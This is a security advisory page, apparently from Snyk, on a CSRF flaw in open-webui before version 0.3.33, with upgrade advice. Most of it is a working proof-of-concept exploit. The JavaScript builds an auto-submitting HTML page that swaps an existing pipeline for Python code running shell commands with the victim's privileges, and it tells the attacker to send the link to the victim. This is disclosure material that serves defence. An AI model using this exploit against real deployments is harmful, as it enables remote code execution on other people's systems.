Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.
Start learningUpgrade open-webui
to version 0.3.33 or higher.
open-webui is an Open WebUI
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) through the authentication process using cookies with the SameSite
attribute set to lax. An attacker can execute arbitrary code with the victim's privileges by crafting a malicious HTML page that modifies the Python code of an existing pipeline when accessed by the victim.
(async () => {
// Fetch the model data from the server
const model = await fetch("http://localhost:3000/api/models", { credentials: "include" }).then(res => res.json());
const rceCommand = 'id'; // Remote command to be executed
const pipelineId = model.data.find(data => data?.pipeline?.type === "pipe").id; // Find the pipeline ID
const csrfHtml = `
<html>
<body>
<form id="uploadForm" action="http://localhost:3000/api/pipelines/upload" method="POST" enctype="multipart/form-data">
<input type="hidden" name="urlIdx" value="0">
<input type="file" name="file" id="fileInput">
<input type="submit">
</form>
<script>
const python = \`
from typing import List, Union, Generator, Iterator
from pydantic import BaseModel
import subprocess
class Pipeline:
class Valves(BaseModel):
pass
def __init__(self):
self.name = "Pipeline Example"
pass
async def on_startup(self):
pass
async def on_shutdown(self):
pass
async def on_valves_updated(self):
pass
async def inlet(self, body: dict, user: dict) -> dict:
return body
async def outlet(self, body: dict, user: dict) -> dict:
return body
def pipe(
self, user_message: str, model_id: str, messages: List[dict], body: dict
) -> Union[str, Generator, Iterator]:
result = subprocess.run(
"${rceCommand}", shell = True, capture_output = True, text = True
)
return result.stdout
\`;
const file = new File([new Blob([python])], \`${pipelineId}.py\`);
const dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
const fileInput = document.getElementById('fileInput');
fileInput.files = dataTransfer.files;
document.getElementById('uploadForm').submit();
</script>
</body>
</html>
`;
// Alert the user to host the following HTML on a web server and have the victim open the link
alert("Host the following HTML on a web server. Then, send that link to the victim.\n" + csrfHtml);
alert("Wait for the victim to open the link");
alert("Specify the pipeline and start any chat to receive the command execution result.");
})();